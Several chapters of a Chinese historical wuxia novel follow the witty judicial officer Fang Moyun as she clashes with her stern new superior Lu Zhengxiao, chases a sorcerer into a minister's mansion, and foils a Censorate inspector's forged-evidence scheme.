“亲兄弟也得明算账。”茉云理所当然的起身，想着眼神又露出了凶狠道“你的就是你的，人家的就是人家的，这世上帐一定得算清楚，没有什么该的一说，什么你该穷，该死，该受欺负，都是鬼话，欠了你的，就得还。”
小乞丐咬着果子笃定的看向茉云点点头。
“这些善人给你的好心，你便接着，他们的好心自有好报，而那些恶人说什么舔一下鞋底给你块金子，你死也不要。”茉云拍着身上的灰说道，“蝼蚁尚且偷生，咱为了活着，不偷不抢没什么见不得人的。”
小乞丐仰头看向茉云，太阳正在茉云身后冉冉升起，阳光顷刻变得暖暖，不知道为何听茉云这般说，心里好受了些。
“所以咱没什么可拘谨的，嘴要甜，特别见夫人和漂亮的千金出门，即刻迎上前，可千万别碰人衣裳，你就说，姐姐这般漂亮或夫人这般慈眉善目，你要夸人家先，对吧？他若不给，那也正常，这年头谁赚钱都不易，咱也不记恨。咱图他下次，她万一不好意思了，就给了。”茉云想着一脸专业的边演示着，边传道授业道。
小乞丐顿时笑得不行看向茉云，差点都被果子给呛到。
“青岚你知道的，长得那般可人，去哪家做个小丫鬟不行啊，我第一次见她，我就夸她长得这般好看，人就跟我大江南北的跑，若不是她在，我那两哥，铁定要饿死一个。哎……主要是当时我没想好饿死哪个？现在想来真是对不住人家，早知道其实我那大哥饿死还好点。”茉云拍着灰叹气道。
两人都一路谈笑风生的回城里，到了岔路口两人分道扬镳。
“行了，回去吧，我也回去补个觉，记住啊，有事千万别自己去，来府衙找我。”
“好，茉云叔叔，我等您抓住那个妖人。”
“放心吧。”茉云抬手拍拍小乞丐的肩膀，小乞丐抱着篮子欢心雀跃的跑回去了，抬眼看向小乞丐的背影深吸了一口气，昨日那大巫师怎会不在呢？定是那大老鹰将其吓跑了。说来自己就气不打一处来，不论是大巫师还是大老鹰，都最好祈求别再让我碰到。
茉云往府衙走去，此时霞光已漫道，万物似乎都已抹上一缕鲜艳。而方茉云却觉得昏昏欲睡，昨晚逮人到半夜，今日天未晓又赶去城门口答复小乞丐，自己快撑不住，得先去补个回笼觉。
可一进府衙，茉云抬眼望去顿时眼露凶光，府中诸多人犯被放出，都颤颤巍巍的被家人搀扶着回去。
“怎么？都这般厉害了？朗朗乾坤，大清早的，越狱？”茉云愤然斥道，此声传出，那群案犯不自觉的躲去，眼露惊恐纷纷蹲下抱头。
“卢大人有令，放出这部分案犯，让他们先回去自行养伤，伤后在回府衙领罚。”白岩走出来说道，他是府衙新任参事，随新上任的司马大人从京城来的。
“什么？”
“方参军，在下白岩，是随司马大人一起刚来中州，新到任的府衙参事！”白岩一身官服穿得一丝不苟，有礼有节的行礼道。
“哦，白参事，幸会！你叫我茉云就好！”茉云想着好像是听宋刺史和师爷说，新来的司马大人是这几日到任。只得心想他放的那便作罢吧，毕竟人家是上官。
“方参军，卢大人在堂内等您！”
“好。”茉云看着的眼神，白岩转身之后茉云看向众人“怎么？”
“大清早的，府上宋大人和郑大人让我等到处寻您。”
“哦，没事，谢了！”茉云心想还是得去拜见一下新来的直属上官再去补觉，一脸的睡眼酥松的往内堂走去。
而众人早已恭候多时，抬目望去，新来的卢大人身姿挺拔，面容俊朗，目光如炬，冷峻和矜贵浑然天成，神态沉稳自若，步伐坚定有力，抬手间都流露刚毅的气息，也散发出一种不可抗拒威猛之气。
其实清晨府衙中人就已经传开，卢正啸乃元帅之家卢家的嫡子，年方十六时，便官拜边疆镇军大将军，让西南边境外敌闻风丧胆，深得圣上信赖倚重。
可这么一位年少就得志的将军，不知因何缘由被贬入中州为司马。众人见到正啸的真容，更是不禁感叹其英伟，实乃人中龙凤，何以来到此地。
中州府衙的刺史大人宋大人一见卢正啸，便一脸慈笑的马上将行礼卢正啸扶起。
宋大人须发稍许斑白，高瘦的身姿透着儒雅，面容和善可亲，是一位学识渊博的老文臣，他本是卢正啸父亲的旧识。
“以后州府的事务都交给你了！”宋刺史轻拍着正啸的手臂说道，满脸都是欣慰的看向正啸。
茉云往内堂走，同僚们却已
6. 风云际会戏开始
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“宋大人，就是不知道啊，我若是知道他是我上官，当时就还坐我边上，我冒充他？我傻呀！”茉云坦然且生无可恋的回话道“我还说了，我等不做大人，亦不做将军，我只做这人间最放浪的烟火！我疯了我！”
“对，方参军还说，什么家国大业，做个俗人，贪财好色，一世风流甚好！”
宋大人瞪圆的双眼，都不知道骂他什么好了。
茉云叹气哭诉道“宋大人，您别如此诧异，此事我比您还惊讶！反正事已至此，我也不怕跟您坦白，我一眼便看出大人武功登峰造极，我还想买他来着。”
“扑哧”大家不知怎么的哄堂大笑。
“你为何要冒充卢大人啊？”宋大人也恍惚过来继续质问道。
“哎，我刚来中州，发现关外暗杀榜上，卢大人高居榜单，又和我年纪相仿，我想着说不定鬼市里也住着杀手什么的，人若出手，这样我不就可以一起逮了！”
“你可知要谋杀我家大人的都是何人？”威行看向茉云，顿觉这小子真是不知天高地厚。
“起来回话吧！”正啸看向茉云，依旧是浩气凛然，淡定从容的神情。
他的贴身侍从千山却有几分诧异看向正啸，昨日此人虽是佯装擒贼，但是如此放浪形骸，正啸就不与其计较了？
“谢大人！”茉云起身撇了一眼正啸，他剑眉之下那双深邃又锐利的双眸，仿佛透着警示。
“府衙牢中案犯所犯何罪，你皆下如此狠手？”
“回禀大人，大多因案犯拒捕。”茉云抬眉与正啸顷刻间对视，直视的眼神中充满了费解。
正啸虽未到而立之年，但素来老沉威严，敢直视他的下属在少数。
他严厉的眼神扫射而来，方参军身型并不壮硕，他躬身行礼回禀，立于威武雄壮的卢正啸身前，似乎刚极人肩。
正啸的双眼冷峻的俯视于他，乍一看就像御长风展苍穹的雄鹰，俯瞰一只万树飞花惹惊鸿的小云雀。
“州里做事，各县都看着，下次执行公务，亮明真实身份再执法。下手有点分寸！”正啸眸光中带着冷凌。
“是，属下知晓了。”茉云一脸诚恳的的行礼道，可是眼神中迅速的闪过一丝不屈和不屑。
心想道，上天果然是公平的，给了他一张如此俊朗的面孔，却没有给他脑子。分寸？这地界，你有分寸，人就会失了分寸，上来将你一顿爆锤，你就会反问，怎么这么寸了？
“方参军，昨日我等去心月楼就是为了先私下逮那妖姬！谁知打草惊蛇，这番动静，铸心堂的分堂主，副堂主等重要贼首不见了！”白岩看向茉云，亦是向宋大人等人据实禀报案情。
“啊？我扰了大人周密部署，烦请大人一并治罪！”茉云旋即一脸坦诚而愧疚的说道。
可心中不禁想跳起来破口大骂，若不是他们一行人跑去鬼市，大摇大摆正襟危坐在堂中央，台上姑娘又看都不看一眼，好像自个儿坐那，不是去偷欢，而是去等人来偷似的，人怎能不跑？
“亦无妨，大人进中州之时已经下令将四下关卡已封！”
“下官马上去全州搜捕逃犯！请大人有大量，属下实属不知，实属冒犯！”
“去吧！”正啸也没再多言，他是本来准备分而划之，暗拿罪犯，如今已经满城皆知，但不知者他亦不怪罪。
他一贯沉默少语，只是他三岁习武，怎会不知这个在其面前卑躬屈膝皆是笑颜的方茉云，身藏高绝剑法，下手狠辣凌冽。
茉云行礼告退，跨过门槛的那一刻，茉云眼神中闪过一丝怫然，有时人不对盘一个眼神便知。
他行至门口，转头瞥了一眼，直见宋大人一脸关切，安抚般的拍拍正啸的肩膀。
“看见你精神奕奕就好，昨晚就进城了？”
“嗯，昨日进城去看了关若晨，今早才来的府衙！”
“好！既来之则安之！”
茉云办案素来自行其是，憎恶人指手画脚，若是道貌岸然之人，他恶之更甚。
而他最厌恶的便是官官相互的官宦子弟，连宋大人都如此护他，刚好自己厌恶的点，卢正啸全占。
还没有半日的功夫，茉云查到了堂主的行踪，就在菜市口旁的一间不显眼的旧屋内！
“我等进去拿人？”
“门外守着，通知卢大人？”
“万一他跑了呢？”
“卢大人英明神武，没听见人嫌，昨日就是我等多事！”茉云买了个香瓜挑眉坐在菜市石墩上咬着“等，等大人大发神威！”
半炷香的时间，正啸亲自来了，他们破门而入，里面藏着的果然是铸心堂中州分坛坛主，武林高手灼刀。
此人刀法异常毒辣，他的烈刀破门而出，正啸瞬间挡开了威行，自己亲自拔剑迎战了。
对手来势凌厉，招招致命，可他一脸冷峻沉稳，抬剑就抵挡住了刀锋，丝毫也未转圜避让，剑气刚猛如龙。
方茉云抱剑立于旁，一动不动看着。
“头，咱就这么看着。”
“诶，卢大人说了要讲分寸，两个打一个不合适。”
“头。”老马无语的转身。
“人搞得定。”茉云挑眉观战，心想着实是把有万世开泰之风的浩然之剑。
只见他的剑芒忽的疾刺而入，如银龙一跃，寒光闪过，内力汇聚剑端，猝然剑气让对手已经无从抵挡，只得茫然举刀，众人听得轰然一声，对手兵刃震断，人朝后倒地。灼刀满目诧异的捂着胸口一口鲜血喷出。
正啸立于其前，收剑挥于右侧，长剑如芒，气顶长虹，只有衣摆在随风轻动，一脸的镇定自若。
“好！好！大人威武。”茉云忽然拍手喊道。
威行本来上前押解案犯，忽得被逗乐了看向茉云，老马转头无语的看向茉云。
“你不是说要适当跟上级示好。”茉云理所当然的耸耸肩回应老马的眼神。
老马满脸无可奈何，小马等人都伏低头忍着笑。正啸瞥都没瞥一眼径直走了。
茉云嘴角微扬看向他那激战后，血脉贲张又克制的背影，原来他是这样的风格，倒也不算是匹夫之勇、坐享其成之辈。
只是有如此鹰击长空，可俾睨天下剑气之人，本可大杀八方，何以要如此克制隐忍。
之前司法参军因为畏惧于州里错综复杂的官绅
7. 行为偏僻人乖张
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茉云寻到了小乞丐，给他看了画像，他才终于知其杀父仇人的模样。
他不到半个时辰，就跟小伙伴们一起帮忙寻到了此妖人在中州的住处。
待至人定之时，茉云带着自己两个属下小马和石川潜入了他家，那大巫师果然不在。茉云踹开下人卧房，抬手就拎出还在熟睡的管家，据他交代，主人出去之前收到一只信鸽。据他交代，信主人当即就烧掉，鸽子还关在笼中。
管家带着他们三人到了鸽笼子处，三人围着鸽子面面相觑。
“头，信鸽传的信烧了，妖人不知去向。怎办？”
“鸽子，香。”茉云凑近看向笼中信鸽。
“头，现在不是谈论炖鸽子的时候？”
“胭脂香，苏合香云香。”
小马和石川都鼻子凑近了鸽子，果不其然飘散出一股奇异的香味。
“那鸳鸯姑娘，当真重情义。”
“您是说，刚抓的妖姬，被逮前，给他偷偷报信了？”
“头，卢大人安排人围剿鬼市铸心堂之前，已经将出城关卡戒严。那妖人出不了城了。肯定还在城中。”
茉云微微点头，转身推门走进书房，看见那书房之中的藤花梨木案上显眼处放置着鸳鸯镂空雕花木匣，心想道，这不就是放在这儿让人看的吗？
他走近用剑柄轻拨开木匣盖，小马机灵的随即为茉云点上灯，茉云伸手拿起匣中信封坐在红木镌鸾椅上翻看着，里面收纳的全是那妖人来往书信。
茉云一封封翻看着忽然手一紧，握着书信停住了，嘴角漾开轻笑，眼神中倒是露出了一丝仰止之情。
这是一封朝中一品大员关太傅的长子关若辰和这妖人的来往书信，他这信中虽无实质的联系，但单凭这句青山一道同风雨，明月何曾是两乡，便会让这诺大的中州府衙，人人都投鼠忌器吧。
茉云悠悠拿着此封书信扇着风，心想自己早知，此人若无心智怎可操持下铸心堂如此大家业，可是这图之于未萌，虑之于未有的心思，是个人才啊。居然给自己找了个这么大的靠山，可这靠山是同伙还是冤大头呢？
可此人自己决不能放过，自己曾许诺小乞丐给他报仇的。他合上这鸳鸯镂空雕花木匣，抬手递给了石川让其带走，三人径直回了衙门，茉云边走边皱眉看向了天上这轮残月。
“头，可有发现。”石川有几分焦急的看向茉云。
“在思考！”茉云抬眉笑道“问你们个问题，你若眼前有只疯狗，可你手中有个器物，此器物是个贵重物，你会拿去砸它吗？”
“看多贵重？”
“比方说府衙官印啊。”
“那定然不会啊。”小马斩钉截铁的马上回道。
“我又没疯，拿大人的官印去砸一只狗！”石川亦更直白
“有道理！”茉云嘴角挑起似笑非笑，眼中闪过一丝寒意，是啊，人又没疯，但我可疯啊，顿时心中便打定了主意。
这个妖人，自己定要抓他，他聪明反被聪明误，他认为人在关家便没人敢去拿他。
可从未想过，恰恰相反，他若从关家被抓出，那会有多少人要这畜生的命啊，若关家确实牵连其中，必会杀他灭口，若关家不过是个冤大头，那关大太傅断然都亦不会放过陷害他儿子的人？如此甚好，反正我只要他血债血偿。
可转念一想，关家在城中风评甚好，连小乞丐都说他们家是大善人，每月都给他们施粥赠粮。
尤其这个关大公子简直是中州城的大宝贝，文人墨客、官宦人家特别是千金小姐们都对他趋之若鹜。就连那卢正啸也将他视为挚友，他进城的第一夜不就是去了关家找他吗？
想到此，茉云便压抑不住的乐了，那就只有辛苦卢大人了，费心去救救您这位宝贝挚友吧。
真情可贵，别万一来个天涯流落思无穷，既相逢，却匆匆，那就对不住了。
“牵马到府衙门口等我，随我去拿那妖人。”茉云行至府衙门前看向大门道。
“头，你知道那妖人在哪儿了！”
“是！”石川立刻拉着小马就往马圈跑去，未等茉云回答。
茉云抬目瞧向内院，书房并未点灯，一看便知正啸还未回。
她便大步流星去向他书房走去推门而入，冲着正啸的书房就喊：“大人，属下有事禀报，大人在否？”
“大人还未回。”白岩立刻从旁屋出来应声道
“哦！谢谢白参事告知。”茉云满脸的坦诚笑意抱拳言谢。
心中却想，废话，我当然知道他不在，不在我才来的，日后算起帐来，不是我未向大人禀报，是人不知去哪儿玩了。
茉云转身准备离开之时，他撇了一眼正啸墙上高挂的字，顿时怔了半刻，墙上用一笔苍劲的书法写着“士不可以不弘毅，任重而道远”。
茉云深吸一口气，自己倒没想到此人被贬至此却还想兢兢业业的干活。
忽然闪过一丝疑虑，自己若告知他，他会包庇关若辰吗？瞬间茉云就自己回答了自己，这些年自己看官官相护还看少了？怎么会问自己这么愚蠢的问题。
他终将还是将那红木镂雕鸳鸯匣子放在正啸书案之上，再无迟疑冲出了府衙。
“随我来！”茉云飞身上马，准备前往上城关家拿人。
“你去哪？”此时身后传来了威行的声音。
茉云深深吸了口气，自己自从鬼市撞见卢正啸之后，真是流年不利，怎么就恰逢此时，他们就回了府衙。
“奉大人之命，去搜捕罪犯。”茉云硬着头皮回道，丝毫没有下马禀报实情的打算。
“哪个方向。”
“大人，此事紧急，卑职就未行礼了，但大人请放心，我会逮住那贼人。”茉云拉着缰绳看向正啸说，心想死马当活马医，以后再想办法应付吧。
“小心行事，别闯祸。”正啸抬目看向茉云淡然说道，话音刚落，他似乎看见茉云嘴角闪现一丝诡笑。
茉云策马奔腾而去，正啸则回到书房，见到案上那红木镂空匣子，随手打开便开始查阅那妖人平日里的来往书信。
他忽然握紧一封信顿时吼道“来人啊，去跟我把方茉云追回来。”
白岩有些诧异的看向正啸。可此时离方参军离去，已经是一炷香的时间过去了，方茉云已经不见了踪影。
正啸顷刻间飞身而出，上马就驰骋而去。他的两个贴身侍卫千山和万莫，还有威行，都随即上马随他飞驰而去。
“大人，要派人吗？”白岩追出问道，可是正啸已经不见了踪影。
彼时茉云他们三人，已经抵达了关府的高墙外，关府是朝中一品大员关太傅的老家府邸，他贵为文臣领袖，还是当今圣上幼时的陪读，位高权重。
“头，这儿可是朝中一品大员府邸关府啊！”小马错愕的望向茉云。
茉云瞬间纵身而跃，倏忽间不见了踪影。剩下围墙下两个傻眼的下属。
“头要干嘛，这是以下犯上，是死罪吧。”小马此刻嘴都有些口齿不清了。
“不跟去看看，如何知晓。”石川也二话不说翻墙而入，小马只得硬着头皮紧随其后。
茉云跳入太守关家宅院后，抬眼看院中格局掐指一算，走入一庭院。
院内亭台楼阁，端方有序，庭间有一池荷花镶嵌其中，小桥流水潺潺，绿树成荫郁郁，好一处清逸而不失雅致之所，让人仿佛置身于诗画之间。
茉云却未有半分侧目，径直推门就进了关家长子的书房。
太守的长子关若辰立于紫檀山水纹琴案后，眸子微微一抬望向茉
8. 不信人间不信你
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疏星残月，断云微渡，月儿在云中阴晦不明，但依稀能见，正啸压抑暴怒的神情。夜已如此静，而人心却在澎湃。
正啸咬牙愤然瞪向茉云，脸色吓得小马手都微微颤抖，要知道按当朝律法，此等以下犯上，持剑私闯一品大员的府邸，属大罪，那是要掉脑袋的。
关家二公子关何友也走到正啸的身旁，月下的关何友，一袭白衣胜雪，五官和其兄长相似，却带一抹俊俏，少一丝清逸：“正啸哥，何不早言语一声。若被有心之人利用……”
“抱歉，属实打扰，日后我再登门道歉。”正啸压抑着情绪转身望向关家二公子，正啸的贴身随从千山瞧向正啸，他似乎很少到自己少主以这种口气与人说话。
“您言重了，家里我来解释，人您先带回去。”
“好。”正啸转身瞪向他们，眼中迸射出怒意“我说了别闯祸，你听到了吗？”
千山他们皆皱眉且质疑地看向茉云，他分明在鬼市，在府衙门口皆见到了卢大人，却丝毫没有禀明。
“属下听到了。”茉云认真忏悔的回话
“那方茉云你意欲何为啊！你知道私闯此处，是什么罪？”威行也小声低吼道“你可知这是哪儿啊！”
“可是……我没应大人啊。”
正啸瞬间火直冲脑门瞪向茉云，千山和万莫都吃惊的望向茉云，他们自小跟随正啸，正啸军营长大，年少为将，素来治军威严，未敢有人在他面前如此放肆过。
关何友诧异的月下定睛望去，这个剑眉斜飞，目若朗星的官差，居然还一脸淡然。
“大人，我只应了说，人我一定逮到，您说别闯祸，我没应，并没有答应您。人我逮到了……属下无能，那么多的要求，我只能选一个办。”
“方茉云！”正啸瞬间就忍无可忍的吼道“此处是朝中一品大员太傅府邸。不是你追贼，便可为所欲为乱闯造次之地。”
正啸顿时被气炸怒斥声如雷轰电掣般，小马和石川站那似乎连头发丝都透着惶恐。
茉云虽伏低头，却一脸的不卑不亢，但他脑中也闪过一股疑思，他为何在此处大骂自己。
东方欲晓之时，此事马上在城中传开，两位大人就都来了府衙，径直到了正啸的书房。正啸马上起身行礼，他双眼中流淌出的疲惫感，都看得出他一夜未闭眼。
“正啸，你无须多礼。”宋大人长叹一口气坐到黑漆扶手椅上说道“我们还是商议此事如何处置，要从长计议。”
“公文我已写得差不多了。”
宋大人和师爷起身围到案前，端详半刻，便要拿过公文“不妥。圣上就是责你气盛冲动而未顾朝局，你来中州不到十日，派属下私闯关宅，有心之人加以利用，御史台又不知如此参你。”
“我刚来，气不顺犯下此错，必不会拿我的。此事本是我失职，全城也皆知我在关家墙下，训斥属下追贼至此。切不可中了贼人的奸计！”正啸按住了公文
“大人，方参军如此不知轻重，遇如此大事居然不先禀报上官，鲁莽行事，闯下弥天大祸……”威行愤然看向正啸，心想难道此人不该重罚，可是瞬间正啸一个眼神过来，他亦不敢将话说完
“宋大人此案我一力承担，您就别处置，以免牵扯更多。我断不会让人污了关家清名，牵连府衙众人。”正啸在公文上盖上自己印记。
正啸的随从皆皱眉看向印记。之前方茉云虽是佯装擒贼，但是他冒用少主之名，在鬼市如此放浪形骸，有失官体，正啸居然不与其计较。而昨夜他将少主肺都气炸了去，今日少主却将案情写成了罪犯闯进太守家，属下接了他的令，不得不进府拿人，又替茉云承担了所有罪责。少主素来杀伐果断，何以如此忍他？
不到三日，上级训诫的书函就到了，自是言辞刻厉，而正啸从头到尾都没说过是茉云罪责。这几日府衙看似宁静，却总有一种暗潮涌动的不安感，仿佛顷刻间响动就能将这平静击破。
公会之时，茉云自然是免不了一顿训斥，茉云嘴唇微颤，缄默不语，眼神中都流露出深深的自责和愧疚。
“你就是太不懂事，不顾大局，鲁莽行事！”郑大人拍案吼道
“都是卑职不好，让大人失望了。”
正啸端坐案后看向茉云，两人四目相对，都无躲闪，从茉云的眼底里，自己看到的是不屈和伪装，他轻轻的咬紧了牙关，怒火中烧，亦只能忍着……
“为何不禀报？”
“我当时……情急之下，处置慌乱，怕他跑了……”茉云满脸局促不安的懊恼。
可是心里却想，问这么打脸的话，难道我回答您，我此生见官官相护同流合污之事举不胜数，臭水沟里舀不出一瓢能喝的水。此巫师罪大恶极，他曾答应了小乞丐帮他报仇的。
“方参军，我这次看在你有为公之心，不做处置，你好自为之。”
“谢大人，卑职下去自省！”茉云行礼之后转身离开，他又怎会不知，卢正啸那双肃然如寒星的眼眸在警示自己，可是他素来不在意别人，此处不留爷自有留爷处。
会后，宋大人带着沈师爷，去往茉云屋内，屋内仅有一张粗木床榻，铺着棉花薄被，七零八落的散着茉云的那几身衣裳，而他正在收拾细软。
“这……这又是干什么？”宋大人看向茉云满脸都是哭笑不得的神情。
“宋大人，我回县城，干我的县尉！”
“卢正啸绝不是那种气量狭小之人！”
沈师爷赶忙上前规劝道“方参军，新官上任三把火！这不都需要磨合吗？”
“你可知自
9. 明目张胆互袒护
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夜里忽的电闪雷鸣狂风骤起，千山马上去关上门窗，正啸放下京城来信，真是山雨欲来风满楼。
信中说最终刑部没压住此案，还是被御史台闻到了异样的味道，把那妖人带去了御史台问话，不知道又在酝酿什么阴谋。
信中还说他舅刑部尚书反复嘱咐他不要再插手，关若辰自有关大人保全，可是御史台要疯狂攀咬之时，不知道要牵连多少人，府衙一众衙役定受牵连。
正啸立于窗前，见狂风骤雨转瞬即来，而云雀躲在树丛之中，还仍是欢心雀跃状，他突然不知为何，想起了方茉云那不知天高地厚的嬉皮笑脸样，那家伙若被御史台拿去问话，定不能安然无恙出来。
翌日清晨破晓，骤雨虽转小，闷湿之气依旧低沉压着大地，让众生透不过气来。
“说来也是怪，关家似乎对此事没有任何反应？”郑大人扇着扇子看向宋大人。
“此案还未结案。”
“哎，希望别又夜长梦多啊。那小子也千万别再闯祸了。”
宋大人苦笑着意味深长的叹息一口气。这两人啊，还有得斗法的，不过人嘛？相互信任总有有个过程，何况是茉云有这么一颗看遍世态炎凉的阴寒之心，正啸更是自小在尔虞我诈中沉浮。
此时有人来报，说京城御史台的刘督查使来中州奉命办差。宋大人手上的杯子掉了下来。
“我这乌鸦嘴。”郑大人对着自己嘴就是一巴掌。
“该来的总要来的。”宋大人叹气皱眉说道，两人马上起身前去。
“只看卢大人保不保他们了！”沈师爷看着两位大人的背影叹息道
京城御史台察院督查使刘成来了府衙，御史台这些年一直以忠正自许，眼高于顶，并没有把中州的宋，郑两人大人放在有眼里，只是对卢正啸还有几分忌惮。他当堂拿出了书信和那巫师的供书，俱指向此巫师妖人和关若晨勾结。
关何友来了，关若辰有病在身未到堂。而其实正啸一早便让千山偷偷接了若辰来府衙内堂，御史台之张狂在京城便是让人闻风丧胆，何况现在到了下面州府，他担心他们闯府拿人。
“仅凭一封子虚乌有的未寄出的书信原稿和污糟供词就指证我长兄参与铸心堂乱政。”何友愤而言之说道.
“如若可以，只是想请关大公子随我回御史台查实。”
“现如今的御史台可随意逮人了？你逮人的公文呢？”
“关二公子言重了，汝乃当朝太傅之子，哪位大人自然都不敢随意下令逮捕，可王子犯法与庶民同罪，关二公子必是知晓。卑职只是想请关大公子随我去御史台问个话，其可自证清白。”
“不用搬出家父，我关家子孙断不会行此等恶事，此妖人何在，为何不叫他来当庭对峙。”
“关二公子怕是已知道妖人畏罪自尽了吧。”
“你！”
正啸镇定自若眼含鄙夷的望向刘成，这也是他们的惯用伎俩了，污造假证，再灭口来个死无对证。
他们此举即便拿不下关若辰，但是只要让若晨入御史台，必然会在京城引起渲染大波，哪怕罪名不成，也能污了他和关家清名，险恶至极。
“我兄长有疾在身，不能随你去问话，若有本事，请旨来抓！”
“卢大人，若关大公子今日无法到堂，那便请您交出所有妖人来往书信，还有当日追捕妖人的衙役，我等也好查实，还关大公子清白。”
“书信已全部上交刑部。”
“可那妖人说，不只这些，其中还有关大公子的回信。”
“刘大人的意思，卢大人的话不如那妖人之言可信。”白岩言辞中皆是不满的回敬道
“卑职不敢，烦请大人通传当日追捕的衙役来，这总可以吧？”
“白参事，去叫方参军和队上当日抓捕之人来。”
一盏茶的功夫，白岩带着满脸懵的小马和石川，还有一脸睡眼稀松的茉云进来。
“这便是当日抓捕妖人的衙役？”
宋大人皱眉看向茉云说道“方参军，这位来自京城御史台的刘督查使，他要问你当日抓捕……”
“宋大人，不如让卑职直问。”刘指挥使打断说道“三位便是那日追捕妖人的衙役兄弟。”
“启禀大人，是。”
“我是勘正天下官员行责的御史台督查使刘成，我奉旨来此办案，尔等未免招惹杀生之祸，必要知无不言。”刘成一脸颐气指使，带着威吓的眼神看向他们三。
“是。”小马明显畏惧得嘴唇都有些颤抖。
“当日是你们三，一路追妖人至上城，亲眼见那妖人，到底是逃窜入关府还是藏匿在关府。若有半分虚言，定叫你等死无葬身之地。”
他们三瞬间跪地，宋大人抬眉忧虑的看向茉云，而正啸从头到尾面无改色。
“是卢大人……”茉云慌张的指着说，威行咬牙瞪着茉云，顿时要言语却被正啸的眼神拦住了。
“卢大人如何？”刘成眼中即刻闪出欣喜的火花追问道
“卢大人说若我等让此贼人跑了，定不轻饶。”茉云指着卢正啸说道“卢大人军中来此，和以往上官不同，他下令令行禁止，我等非抓不可啊，大人。”
刘成冷凌的看向他们，眼中露出寒意。
“当日在关府墙外，看见那贼人入了关府，我等还讨论了一番。”茉云仓皇的指向石川和小马说道.
“对，参军说，抓还是不抓呢！我说我等怎可辜负大人的信任，大人身份贵重，我等草莽小吏，大人将如此重担交于我们，是对我们的历练，亦是看重，就是刀山火海我们也必须进去抓！”石川一脸刚毅的说
“是这样吗？”刘指挥使看向瑟瑟发抖的小马说道
“是……参军还说，那关大公子和关二公子是一对壁人，是我中州城的璀璨明珠，你看他两上街……多少姑娘围着看啊，就是那心月楼的花魁都不如他两，而且看那花魁……你还得花银子，看关公子他们，不
10. 率其性而自有法
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“你说什么？”
“卑职是府衙司法参军，素来兢兢业业，我逮捕的人犯，我定也审了，至少他为何逃窜和逮捕过程都详细记录了。上面亦有案犯手印。”茉云不慌不忙的阐述道，眼中全是敬业的坦诚
“那还不速速取来。”郑大人即刻焦急的看向茉云说道
“小马，你去取，就在我案下抽屉。”
“是。”
刘督查使的手下也跟上前去，转眼小马取了证词来，他属下也走进来点了一下头，示意并无蹊跷。
小马双手呈上，证词之中清清楚楚供述，妖姬鸳鸯被捕之前，飞鸽传书给那妖人，他收到报信一路往上城逃窜，可未能出得了城，又被衙役追赶，狗急跳墙之下入了关府。
刘成指挥使看了一眼瞪向茉云，他本是御史台的干吏，素来是京城有名的察院爪牙，整个事情始末，本是他设计陷害，他了然于心，怎是一般人那么好糊弄，他一双阴鸷的恶眼瞪向茉云。
茉云自顾自的拿着两份证词一比对，说道“还真是一样的手印，此等贼人将死之际，还有如此计谋，意图攀咬脱罪，心机深远啊。大人，如今之计，只能让那妖人出来对峙了？”
“方才，刘大人说，那妖人已经死无对证！”威行冷冷的看向刘成，谁不知道他们那些卑劣的手段。
“啊，怎么就死了？”
“此份证词为何才拿出来。”刘成阴冷看向茉云道。
“大人，我只是追捕官员，并不是审理官员，不过是习惯留个证词。”
“我是问你，即是证词，为何此时才拿出！”
茉云一脸敬畏的指向正啸说“刘大人，您不知，千里马常有，而伯乐不常有。卢大人来了府衙对我等平素里青睐有加，颇为赏识，从未怀疑过我们的操守，我又何必多此一举呢，好像此地无银三百两似的，岂不是辱没了大人用人识人的智慧？”
“咳咳咳”郑大人喝茶被呛到，谁不知道卢正啸往日里最看不上的就是他，郑大人只得马上故作镇定的自圆道“茶烫。”
正啸瞥了茉云一眼，波澜不惊的脸色倒是闪过一丝无语，即便是擂鼓动山川之危在前，连何友都透着慎虑，这家伙依旧是这般从容不迫的嬉皮笑脸。
而宋大人捂着嘴看着实在有点忍俊不禁，方茉云便是命悬一线之时也是这般德性。威行等人先是一愣，然后低着头忍笑，忍得肩膀都有些颤抖。
“既然如此，两份证词如此差距，难道卢大人觉得，不应请三位衙差跟我去御史台说明情况。”刘督查使冷冷的瞪向卢正啸。
正啸素来都懒得和这群爪牙废话，抬手又把茉云挡到身后，茉云倒是有些无语了，这家伙世人都传得那么英明神武，关键之后只有硬刚这一招吗？
“卢大人，你此举不由得让卑职怀疑您是否亦参与其中。”
正啸双眸透出的冷凌蔑视，似乎就在回应刘成，你怀疑不随你怀疑，茉云倒是无语的被逗笑了，他若在这战场上眼神也好使吗？
“如今的御史台已经到了可以凭一份死无对证且有出入的证词来质疑卢大人和我兄长。不如何友随刘督查使上京，我等不才也可无召进宫，去问问这是哪里的章程？”何友却愤然瞪向刘成
“我手上还有关若辰和那妖人的书信。”刘成瞪着何友拿着信说道，口气中已经有几分气急败坏
茉云顿时伸手一把扯过信来，张口就咬下一角，在嘴巴里嚼了起来。
“你！”此举让刘成彻底错愕了，见过大风大浪的刘督查使确实未见识过当堂吃毁证物的人，当然不止他，堂上众人都怔住了。
“你敢当堂捣毁证据！”刘成霎时便怒吼道
“方参军，你当真疯了不成！”威行都忍不住吼道
“别激动啊，信还你们，就尝个角，又没吃你字。”茉云马上把信塞给刘成。
“来人啊！”刘成愤而抬手，一干他的随从尽数拔刀了，而威行他们也瞬间拔剑。
“大家，冷静！冷静！刘大人，你或许是被你贪功冒进的属下骗了。这纸不是我中州的纸。”茉云依旧不慌不忙道。
“你说什么？”
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云被逗笑了放下茶杯，一脸的无所谓。
“哥哥们都有心了，姐你没有。”思淼笑笑喝着茶说道。
“不过是想的不一样罢了。”
“姐想着什么？”
“想着有一天不再担惊受怕，想这些我家乡的小孩子们，都不会尝我尝过的苦。”
思淼看着茉云愣了一下，然后笑了说道“姐，有一天会达成的。”
茉云看向思淼，可是如今峑戎已经这般嚣张的打入了边城，朝廷除了震惊、谴责和愤怒，却依旧没有实质的开战之举。
“朝廷现在局势已经变了，支持正啸哥的现在已经是多数。除了谢丞相、柳大人以外，以前在朝中中立两位尚书大人胡大人和言大人也主张不再轻信峑戎。”
“不再亲信？”茉云被逗笑了说道。
“只是有些朝中冥顽不灵的老大人还是固执己见。”思淼叹息着说道。
茉云轻轻笑了转身回房了，她站在床前若有所思，透过小窗望向星空，自己都不知为何走进这间院子，那颗狂躁的心顷刻间便会冷静了下来。
往昔自己竟然天真，总以为世上之是非曲直都清晰可辨，直到见到他和卢家，才知世事如此艰难，明明是天下之人皆翘首期盼的太平夙愿，却如此蹉跎，让他和卢家在千回百转中沉浮，在千难万险中挣扎，所幸他们还在千磨万难中坚守。
她深深吸了口气，在此夙愿之前，其他都变得渺小如云烟。
